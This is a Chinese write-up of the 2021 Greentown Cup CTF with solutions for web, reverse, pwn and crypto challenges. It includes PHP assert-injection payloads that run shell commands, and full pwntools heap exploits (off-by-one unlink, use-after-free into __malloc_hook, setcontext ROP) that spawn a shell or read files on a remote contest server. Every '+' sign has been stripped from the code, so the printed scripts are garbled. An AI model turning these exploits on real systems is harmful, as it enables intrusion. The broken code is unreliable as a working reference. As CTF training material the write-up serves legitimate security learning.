绿城杯-2021 部分WriteUp(晋级)

2021-10-20 09:54:13 浏览数 (1)

第八名

绿城杯

本次比赛,NonupleBroken一人解出密码方向全部题目,yaoxi&0xK4ws&null-404共同解出RE方向全部题目。欢迎愿意一起打比赛的师傅前来一起战斗!

Web

★[warmup]ezphp

首页源码有提示:

加入一个单引号:

代码语言:javascript复制
http://61412245-b159-4d0e-b729-a2892c59f426.zzctf.dasctf.com/?link_page=flag'

报错,可以看到被assert执行了:

加一个phpinfo试试:

代码语言:javascript复制
http://61412245-b159-4d0e-b729-a2892c59f426.zzctf.dasctf.com/?link_page=phpinfo();

改为满足语法的形式,执行ls / 发现没有flag,搜索flag文件:

代码语言:javascript复制
http://61412245-b159-4d0e-b729-a2892c59f426.zzctf.dasctf.com/?link_page='.system('find / -name flag*').'

获取flag:

代码语言:javascript复制
http://61412245-b159-4d0e-b729-a2892c59f426.zzctf.dasctf.com/?link_page='.system('cat /var/www/html/pages/flag.php').'
★looking for treasure

原题 payload 直接打就行:

https://blog.zeddyu.info/2020/10/15/Defcon28final/#json-schema

Misc

★[warmup]音频隐写

看频谱图一把梭

★创新技术

clockin
代码语言:javascript复制
adb install -r -t myApk.apk

首先安装程序 用以上命令安装程序方可安装成功

在Android killer上搜索字符串not admin

把not admin改成admin重新打包

然后启动该APP 输入地址和端口 点击打卡拿到flag

Reverse

★抛石机

首先打开ida,定位主函数:

首先进行逻辑判断,判断是否是flag{xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx}的格式,x的取值为1-9或者a-f

判断如下:

接着,将输入的值,不包括flag{-},转换为double类型,转换方式为每8个字符的二进制变为一个double。然后进行解方程:

解出后进行二进制转化:

转化后取前8位,大小写转换:3FF14A45 40114CF7 BFDEE41E 3FFFA457

然后进行倒叙输出:454AF13F F74C1140 1EE4DEBF 57A4FF3F

然后进行调式,根据出错的位置对精度进行调整 调整后得到:

454AF13F F64C1140 1EE4DEBF 58A4FF3F

然后根据格式调整为:

flag{454af13f-f84c-1140-1ee4-debf58a4ff3f}

最后可以得到:

★easy_re

ida打开 发现是rc4算法

里面有一点小改变中间异或了0x37

代码语言:javascript复制
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
int b[300];
int s[300];
char key[10]="tallmewhy";//(变) 
char data[1000]={
  0xF5, 0x8C, 0x8D, 0xE4, 0x9F, 0xA5, 0x28, 0x65, 0x30, 0xF4, 
  0xEB, 0xD3, 0x24, 0xA9, 0x91, 0x1A, 0x6F, 0xD4, 0x6A, 0xD7, 
  0x0B, 0x8D, 0xE8, 0xB8, 0x83, 0x4A, 0x5A, 0x6E, 0xBE, 0xCB, 
  0xF4, 0x4B, 0x99, 0xD6, 0xE6, 0x54, 0x7A, 0x4F, 0x50, 0x14,
  0xE5, 0xEC
};//(变)
int main(){
  int j,q,n;
  for(int i=0;i<256;i  ){
    b[i]=key[i%9];  //8是密钥的长度 (变) 
    s[i]=i;
  }
  for(int i=0;i<256;i  ){
    j=(j s[i] b[i])%6;
    q=s[i];
    s[i]=s[j];
    s[j]=q^0x37;
  }
  for(int i=0;i<256;i  ){
    printf("%d ",s[i]);
  }
  printf("n"); 
  int i=0,t;
  j=0;
  for(int w=0;w<42;w  ){  //32是data的长度 (变) 
  
    i=(i 1)%6;
    j=(j s[i])%6;
    
    q=s[i];
    s[i]=s[j];
    s[j]=q; //交换 
    
    t=(s[i] s[j])%6;
    data[i-1]^=s[t];//s[t]是最后的密钥 
  }
  puts(data);


  
  return 0;
}

★[warmup]babyvxworks

代码含有大量花指令,去除后可以定位到主要加密代码

这里有flag加密后的比较数据,加密算法都在loc_330里面

因为花指令没有除干净(太菜了,不会除了),可以配合着汇编代码看

这里会对flag异或0x22

下面的sub_379里会对flag加3操作

写脚本

代码语言:javascript复制
#include<stdio.h>
#include<string.h>
char a[100]={188,10,187,193,213,134,127,10,201,185,81,78,136,10,130,185,49,141,10,253,201,199,127,185,17,78,185,232,141,87};
int main(){
  for(int i=0;i<30;i  ){
    for(int j=0;j<30;j  ){
      a[i]-=3;
      a[i]^=0x22;
    }
  }
  puts(a);
  
  
  
  return 0;
}

PWN

★null

glibc2.23的版本

read_input函数存在单字节溢出

off-by-one,修改next_chunk的size位,unlink后修改堆块指针改got表,触发system("/bin/sh")即可,起初使用libcsearcher没有成功,最后切换为本地libc成功getshell

1. 泄露libc地址

代码语言:javascript复制
heap_ptr = 0x0000000000602120
add(0,0x108,'n')
for i in range(9):
    add(i 1,0xf8,'n')
for i in range(7):
    dele(2 i)
payload = p64(0) p64(0x101)
payload  = p64(heap_ptr-0x18)   p64(heap_ptr-0x10)
payload  = b'a'*0xe0
payload  = p64(0x100)   b"x00"
edit(0,payload)
dele(1)
payload = p64(0)*3   p64(heap_ptr)   p64(0x0000000000602018)
edit(0,payload)
show(1)
sh.recvuntil("Content : ")
free_addr = u64(sh.recv(6).ljust(8,b"x00"))
log.info("free_addr=>{}".format(hex(free_addr)))
# libc = LibcSearcher('free',free_addr)
libc_base = free_addr - libc.symbols['free']

2. 修改got表

代码语言:javascript复制
system = libc_base   libc.sym['system']
edit(0,p64(0x0000000000602018))
edit(0,p64(system))

3. 触发system("/bin/sh")

代码语言:javascript复制
add(14,0x20,"/bin/shx00")
dele(14)
sh.interactive()

完整exp:

代码语言:javascript复制
#!/usr/bin/env python
# -*- encoding: utf-8 -*-
from pwn import *
from LibcSearcher import *
import pwnlib
debug = 0
context.log_level = 'debug'
context.arch = 'amd64'
IP="82.157.5.28"
port=52304
file_name = "./null_pwn"
libc_path = "/home/eur1ka/Documents/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so"
menu = "Your choice :"
libc = ELF(libc_path)
if debug:
    sh = process(file_name)
else:
    sh = remote(IP,port)
def debug():
    gdb.attach(sh)
    pause()
def cmd(choice):
    sh.recvuntil(menu)
    sh.sendline(str(choice))
def crete_ropchain(rax,rdi,rsi=-1,rdx=-1):
    chain = b""
    chain  = p64(pop_rax_ret)   p64(rax)
    chain  = p64(pop_rdi_ret)   p64(rdi)
    if rsi==-1:
        return chain p64(syscall_ret)
    chain  = p64(pop_rsi_ret)   p64(rsi)
    if rdx==-1:
        return chain p64(syscall_ret)
    chain  = p64(pop_rdx_ret)   p64(rdx)
    return chain p64(syscall_ret)


def add(idx,size,content):
    cmd(1)
    sh.sendlineafter("Index:",str(idx))
    sh.sendlineafter("Size of Heap : ",str(size))
    sh.sendafter("Content?:",content)


def dele(idx):
    cmd(2)
    sh.sendlineafter("Index:",str(idx))


def show(idx):
    cmd(4)
    sh.sendlineafter("Index :",str(idx))


def edit(idx,content):
    cmd(3)
    sh.sendlineafter("Index:",str(idx))
    sh.sendafter("Content?:",content)
heap_ptr = 0x0000000000602120
add(0,0x108,'n')
for i in range(9):
    add(i 1,0xf8,'n')
for i in range(7):
    dele(2 i)
payload = p64(0) p64(0x101)
payload  = p64(heap_ptr-0x18)   p64(heap_ptr-0x10)
payload  = b'a'*0xe0
payload  = p64(0x100)   b"x00"
edit(0,payload)
dele(1)
payload = p64(0)*3   p64(heap_ptr)   p64(0x0000000000602018)
edit(0,payload)
show(1)
sh.recvuntil("Content : ")
free_addr = u64(sh.recv(6).ljust(8,b"x00"))
log.info("free_addr=>{}".format(hex(free_addr)))
# libc = LibcSearcher('free',free_addr)
libc_base = free_addr - libc.symbols['free']
log.info("libc_base=>{}".format(hex(libc_base)))
system = libc_base   libc.sym['system']
edit(0,p64(0x0000000000602018))
edit(0,p64(system))
# debug()
add(14,0x20,"/bin/shx00")
dele(14)
sh.interactive()
★ezuaf

glibc版本为2.23

存在uaf

感觉出题人试想让我们劫持栈,但是我试了下本地可以通过申请0x400的chunk泄露libc,确定是glibc2.23,最后打malloc_hook那到flag,可能是非预期吧

1. 泄露libc

代码语言:javascript复制
stack_addr = int(sh.recv(14),16)
log.info("stack_addr=>{}".format(hex(stack_addr)))
add(0x400)
add(0x10)
dele(0)
show(0)
libc_addr = u64(sh.recv(6).ljust(8,b"x00"))
libc_base = libc_addr - 0x3c4b78

2. 申请到chunk到malloc_hook附近,修改malloc_hook

代码语言:javascript复制
dele(2)
dele(3)
edit(3,p64(libc_base libc.sym['__malloc_hook']-0x23))
add(0x68) #4
add(0x68) #5

3. 修改malloc_hook

代码语言:javascript复制
one = libc_base   one_gadget[1]
edit(5,b'a'*0x13 p64(one))

4. 触发one_gadget

代码语言:javascript复制
add(0x10)
sh.interactive()

完整exp:

代码语言:javascript复制
#!/usr/bin/env python
# -*- encoding: utf-8 -*-
from pwn import *
from LibcSearcher import *
import pwnlib
debug = 0
context.log_level = 'debug'
context.arch = 'amd64'
IP="82.157.5.28"
port=50902
file_name = "./uaf_pwn"
libc_path = "/home/eur1ka/Documents/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so"
one_gadget = [0x45226,0x4527a,0xf03a4,0xf1247]
menu = ">"
libc = ELF(libc_path)
if debug:
    sh = process(file_name)
else:
    sh = remote(IP,port)
def debug():
    gdb.attach(sh)
    pause()
def cmd(choice):
    sh.recvuntil(menu)
    sh.sendline(str(choice))
def crete_ropchain(rax,rdi,rsi=-1,rdx=-1):
    chain = b""
    chain  = p64(pop_rax_ret)   p64(rax)
    chain  = p64(pop_rdi_ret)   p64(rdi)
    if rsi==-1:
        return chain p64(syscall_ret)
    chain  = p64(pop_rsi_ret)   p64(rsi)
    if rdx==-1:
        return chain p64(syscall_ret)
    chain  = p64(pop_rdx_ret)   p64(rdx)
    return chain p64(syscall_ret)


def add(size):
    cmd(1)
    sh.sendlineafter("size>",str(size))


def dele(idx):
    cmd(2)
    sh.sendlineafter("index>",str(idx))


def show(idx):
    cmd(4)
    sh.sendlineafter("index>",str(idx))


def edit(idx,content):
    cmd(3)
    sh.sendlineafter("index>",str(idx))
    sh.sendafter("content>",content)
stack_addr = int(sh.recv(14),16)
log.info("stack_addr=>{}".format(hex(stack_addr)))
add(0x400)
add(0x10)
dele(0)
show(0)
libc_addr = u64(sh.recv(6).ljust(8,b"x00"))
libc_base = libc_addr - 0x3c4b78
log.info("libc_base=>{}".format(hex(libc_base)))
for i in range(2):
    add(0x68)
dele(2)
dele(3)
edit(3,p64(libc_base libc.sym['__malloc_hook']-0x23))
add(0x68) #4
add(0x68) #5
one = libc_base   one_gadget[1]
edit(5,b'a'*0x13 p64(one))
# debug()
add(0x10)
sh.interactive()
★GreentownNote

glibc2.27,存在uaf

开了沙箱,setcontext调整栈帧,orw

1. 首先利用uaf泄露堆地址:

代码语言:javascript复制
for i in range(2):
    add(0x3f8,'n')
add(0x2f8,'n')
dele(0)
dele(0)
show(0)
sh.recvuntil("Content: ")
heap_addr = u64(sh.recv(6).ljust(8,b"x00")) 
log.info("heap_addr=>{}".format(hex(heap_addr)))

2. 紧接着申请堆块修改double free堆块的fd指针

代码语言:javascript复制
add(0x3f8,p64(heap_addr-0x10)) #3

3. 将修改后的fd堆块申请出来,并改写chunk的size位:

代码语言:javascript复制
add(0x3f8,'n') #4
add(0x3f8,p64(0) p64(0x801)) #5

4. 释放堆块泄露libc

代码语言:javascript复制
dele(0)
show(0)
sh.recvuntil("Content: ")
libc_addr = u64(sh.recv(6).ljust(8,b"x00")) - 0x3ebca0
log.info("libc_addr=>{}".format(hex(libc_addr)))

5. 再次利用uaf修改free_hook,为setcontext 53

代码语言:javascript复制
dele(2)
dele(2)
# add(0x3f8,p64(heap_addr 0x800-0x10))
add(0x2f8,p64(libc_addr libc.symbols['__free_hook']))
payload = heap_addr
payload = p64(heap_addr 0x8b0)*21 p64(pop_rax_ret)
payload  = p64(0)
payload  = crete_ropchain(0,0,heap_addr,0x30)
payload  = crete_ropchain(2,heap_addr,0)
payload  = crete_ropchain(0,3,heap_addr,0x30)
payload  = crete_ropchain(1,1,heap_addr,0x30)
add(0x2f8,payload)
add(0x2f8,p64(libc_addr libc.sym['setcontext'] 53))

6. 释放堆块触发setcontext,orw读取flag

代码语言:javascript复制
dele(2)
sh.send("./flagx00")
sh.interactive()

完整exp:

代码语言:javascript复制
#!/usr/bin/env python
# -*- encoding: utf-8 -*-
from pwn import *
from LibcSearcher import *
import pwnlib
debug = 0
context.log_level = 'debug'
context.arch = 'amd64'
IP="82.157.5.28"
port=51301
file_name = "./GreentownNote"
libc_path = "./libc-2.27.so"
menu = "Your choice :"
libc = ELF(libc_path)
if debug:
    sh = process(file_name)
else:
    sh = remote(IP,port)
def debug():
    gdb.attach(sh)
    pause()
def cmd(choice):
    sh.recvuntil(menu)
    sh.sendline(str(choice))
def crete_ropchain(rax,rdi,rsi=-1,rdx=-1):
    chain = b""
    chain  = p64(pop_rax_ret)   p64(rax)
    chain  = p64(pop_rdi_ret)   p64(rdi)
    if rsi==-1:
        return chain p64(syscall_ret)
    chain  = p64(pop_rsi_ret)   p64(rsi)
    if rdx==-1:
        return chain p64(syscall_ret)
    chain  = p64(pop_rdx_ret)   p64(rdx)
    return chain p64(syscall_ret)


def add(size,content):
    cmd(1)
    sh.sendlineafter("Note size :",str(size))
    sh.sendafter("Content :",content)


def dele(idx):
    cmd(3)
    sh.sendlineafter("Index :",str(idx))


def show(idx):
    cmd(2)
    sh.sendlineafter("Index :",str(idx))


# for i in range(8):
#     add(0xf8,'a'*0xf9)
# for i in range(7):
#     dele(i 1)
# dele(0)
# # add(0x88,b'a'*0x80 p64(0x80) b"n")
# show(0)
# sh.recvuntil("Content: ")
# libc_addr = u64(sh.recv(6).ljust(8,b"x00")) - 0x3ebca0
# log.info("libc_addr=>{}".format(hex(libc_addr)))
# show(7)


for i in range(2):
    add(0x3f8,'n')
add(0x2f8,'n')
dele(0)
dele(0)
show(0)
sh.recvuntil("Content: ")
heap_addr = u64(sh.recv(6).ljust(8,b"x00")) 
log.info("heap_addr=>{}".format(hex(heap_addr)))
add(0x3f8,p64(heap_addr-0x10)) #3
add(0x3f8,'n') #4
add(0x3f8,p64(0) p64(0x801)) #5
dele(0)
show(0)
sh.recvuntil("Content: ")
libc_addr = u64(sh.recv(6).ljust(8,b"x00")) - 0x3ebca0
log.info("libc_addr=>{}".format(hex(libc_addr)))
pop_rdi_ret = libc_addr   0x000000000002155f
pop_rsi_ret = 0x0000000000023e6a   libc_addr
pop_rdx_ret = libc_addr   0x0000000000001b96
pop_rax_ret = libc_addr   0x00000000000439c8
syscall_ret = libc_addr   0xd2975
dele(2)
dele(2)
# add(0x3f8,p64(heap_addr 0x800-0x10))
add(0x2f8,p64(libc_addr libc.symbols['__free_hook']))
payload = heap_addr
payload = p64(heap_addr 0x8b0)*21 p64(pop_rax_ret)
payload  = p64(0)
payload  = crete_ropchain(0,0,heap_addr,0x30)
payload  = crete_ropchain(2,heap_addr,0)
payload  = crete_ropchain(0,3,heap_addr,0x30)
payload  = crete_ropchain(1,1,heap_addr,0x30)
add(0x2f8,payload)
add(0x2f8,p64(libc_addr libc.sym['setcontext'] 53))
# debug()
dele(2)
sh.send("./flagx00")
sh.interactive()

Crypto

★[warmup]加密算法

EXP:

根据码表爆破flag出来就完事了 后面才发现属于是仿射加密

代码语言:javascript复制
#include <stdio.h>


int main() {
  char table[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
  char cipher_text[] = "aoxL{XaaHKP_tHgwpc_hN_ToXnnht}";//4{ 11_ 18_ 21_ 29}
  int a = 37;
  int b = 23;
  int m = 52;
  for (int i = 0; i < 30; i  ) {
    for(int j = 0; j < 53;   j) {
      if (cipher_text[i] == table[(a * j   b) % m]) {
        printf("%c", table[j]);
        break;    
      }
    }  
  }
  return 0;
}

然后分别在索引为4 11 18 21 29处添加字符{ _ _ _ }

代码语言:javascript复制
flag{AffInE_CIpheR_iS_clAssiC}
★rsa-1

p 为 n 的因子,p 也为 M 的因子

因此 c = pow(M, e, n) 后 gcd(c, n) 为 p

之后解 rsa 即可

代码语言:javascript复制
from Crypto.Util.number import long_to_bytes
import gmpy2


n = 17365231154926348364478276872558492775911760603002394353723603461898405740234715001820111548600914907617003806652492391686710256274156677887101997175692277729648456087534987616743724646598234466094779540729413583826355145277980479040157075453694250572316638348121571218759769533738721506811175866990851972838466307594226293836934116659685215775643285465895317755892754473332034234495795936183610569571016400535362762699517686781602302045048532131426035260878979892169441059467623523060569285570577199236309888155833013721997933960457784653262076135561769838704166810384309655788983073376941843467117256002645962737847
c = 6944967108815437735428941286784119403138319713455732155925055928646536962597672941805831312130689338014913452081296400272862710447207265099750401657828165836013122848656839100854719965188680097375491193249127725599660383746827031803066026497989298856420216250206035068180963797454792151191071433645946245914916732637007117085199442894495667455544517483404006536607121480678688000420422281380539368519807162175099763891988648117937777951069899975260190018995834904541447562718307433906592021226666885638877020304005614450763081337082838608414756162253825697420493509914578546951634127502393647068722995363753321912676
e = 0x10001


p = gmpy2.gcd(n, c)
print(p)
q = n // p
assert p * q == n


d = gmpy2.invert(e, (p-1) * (q-1))
m = pow(c, d, n)
print(long_to_bytes(m // p // 2021 // 1001))


# flag{Math_1s_1nterest1ng_hah}
★rsa-2

前半部分,n1 = p * q * p1 * q1,p1、q1 分别为 p、q 的下一个素数。所以 p * q1 和 q * p1 接近,很快能分解出 n1 = (p * q1) * (q * p1),接下来爆破 解一元二次方程算出 p、q 即可

代码语言:javascript复制
import gmpy2
from Crypto.Util.number import long_to_bytes


n1 = 6348779979606280884589422188738902470575876294643492831465947360363568026280963989291591157710389629216109615274754718329987990551836115660879103234129921943824061416396264358110216047994331119920503431491509529604742468032906950984256964560405062345280120526771439940278606226153077959057882262745273394986607004406770035459301695806378598890589432538916219821477777021460189140081521779103226953544426441823244765828342973086422949017937701261348963541035128661464068769033772390320426795044617751909787914185985911277628404632533530390761257251552073493697518547350246993679844132297414094727147161169548160586911
c1 = 6201882078995455673376327652982610102807874783073703018551044780440620679217833227711395689114659144506630609087600915116940111002026241056808189658969089532597757995423694966667948250438579639890580690392400661711864264184444018345499567505424672090632235109624193289954785503512742400960515331371813467034511130432319427185134018830006918682733848618201088649690422818940385123599468595766345668931882249779415788129316594083269412221804774856038796248038700275509397599351533280014908894068141056694660319816046357462684688942519849441237878018480036145051967731081582598773076490918572392784684372694103015244826
e = 0x10001
x = 79679231796035037354449627487236220201878797729093909877127396750043503300636464774059752126148617367251988043645511172901030621825575172979048675217345099706517900079260617448298874437193769061144201311929792287772928471712053565834702260975126852624433945451405258351557569670978748727663718174543709899747
y = 79679231796035037354449627487236220201878797729093909877127396750043503300636464774059752126148617367251988043645511172901030621825575172979048675217341753594180007984204016274224280609480494305040439035855109422239942522968468133274883986349646765947317076885918174299537297351936448296784166003890345486613


assert x * y == n1


for i in range(-2000, 2000):
    if i == 0:
        continue
    for j in range(-2000, 2000):
        if j == 0:
            continue
        s = x - y - i * j  # s = jp   iq
        a = -j
        b = s
        c = -y * i
        delta = (b ** 2 - 4 * a * c)
        if delta >= 0:
            delta_sqrt, is_success = gmpy2.iroot(delta, 2)
            if is_success:
                p = (-b - delta_sqrt) // (2 * a)
                q = y // p
                if p * q == y and p > 0:
                    print(i, j)
                    p1 = p   i
                    q1 = q   j
                    phi = (p - 1) * (q - 1) * (p1- 1) * (q1 - 1)
                    d = gmpy2.invert(e, phi)
                    m = pow(c1, d, n1)
                    print(long_to_bytes(m))
                    break


# -726 828
# b'flag{Euler_funct1ons'

后半部分,同样解一元二次方程算出 p、q,由于 p 位数很高,可以直接将 p 作为模数解 rsa

代码语言:javascript复制
from Crypto.Util.number import long_to_bytes
import gmpy2


s = 274773146761138462708137582309097386437793891793691383033856524303010811294101933454824485010521468914846151819876043508541879637544444256520741418495479393777132830985856522008561088410862815913292288683761657919121930016956916865849261153721097671315883469348972925757078089715102032241818526925988645578778
mul = 18514724270030962172566965941723224386374076294232652258701085781018776172843355920566035157331579524980108190739141959926523082142273672741849552475156278397131571360099018592018959785627785130126477982765210498547680367230723634424036009539347854344573537848628061468892166199866227984167843139793429682559241317072979374002912607549039431398267184818771503468116379618249319324788996321340764624593443106354104274472601170229835219638093242557547840060892527576940077162990069687019966946826210112318408269749294366586682732614372434218768720577917368726530200897558912687470088583774711767599580037663378929000217
n2 = 40588227045595304080360385041082238507044292731344465815296032905633525556943787610712651675460810768762763493579129831271018141591546207557410817432455139315527674932933085299277599173971912445226532235814580879585317211349524406424200622675880992390782025158621241499693400288031658194434641718026910652327933253877313106112861283314274635124734817398465059373562194694957841264834312640926278890386089611103714990646541470577351599526904458342660444968591197606820361364761648205241041444681145820799054413179462285509661124362074093583494932706249461954240408827087015525507173082129412234486228092002841868365895837463699200959915782767657258729794037776401995309244941171415842403617486719492483671490834562579225506831496881542530519595438932482796867853234159664409420977526102480385193101883785161080269573707156626838551506024455480650224305894501968583442346807126920740779780593650871645915149689424292912611578291912721896864772950410266629045542480009266574096080138709683466489568290569363478444349563498507530805502511051165160827192795520182720802422213364247355775222858214648603034743679187470844212529134374975737510982287957316878179964602394749601431823167982157434890459245394370728942790117156485268116758052636794417268680901420193002289035538753620555488506926366624641291881353268617130968991258983002165300186971963661666476600998389048880565199317280428349802824448329898502788492233381873026217202981921654673840142095839603360666049476100561268336225902504932800605464136192275593886736746497955270280541423593
c2 = 25591090168544821761746024178724660839590948190451329227481168576490717242294520739865602061082558759751196452117720647426598261568572440942370039702932821941366792140173428488344932203576334292648255551171274828821657097667106792872200082579319963310503721435500623146012954474613150848083425126987554594651797477741828655238243550266972216752593788734836373144363217639612492397228808215205862281278774096317615918854403992620720969173788151215489908812749179861803144937169587452008097008940710091361183942268245271154461872102813602754439939747566507116519362821255724179093051041994730856401493996771276172343313045755916751082693149885922105491818225012844519264933137622929024918619477538521533548551789739698933067212305578480416163609137189891797209277557411169643568540392303036719952140554435338851671440952865151077383220305295001632816442144022437763089133141886924265774247290306669825085862351732336395617276100374237159580759999593028756939354840677333467281632435767033150052439262501059299035212928041546259933118564251119588970009016873855478556588250138969938599988198494567241172399453741709840486953189764289118312870580993115636710724139809708256360212728127786394411676427828431569046279687481368215137561500777480380501551616577832499521295655237360184159889151837766353116185320317774645294201044772828099074917077896631909654671612557207653830344897644115936322128351494551004652981550758791285434809816872381900401440743578104582305215488888563166054568802145921399726673752722820646807494657299104190123945675647


a = -1
b = s
c = -mul
delta = (b ** 2 - 4 * a * c)
p = (-b - gmpy2.iroot(delta, 2)[0]) // (2 * a)
q = mul // p
assert p * q == mul
phi = p - 1
e = 0x10001
d = gmpy2.invert(e, phi)
m = pow(c2, d, p)
print(long_to_bytes(m))


# b'_1s_very_interst1ng}'

0 人点赞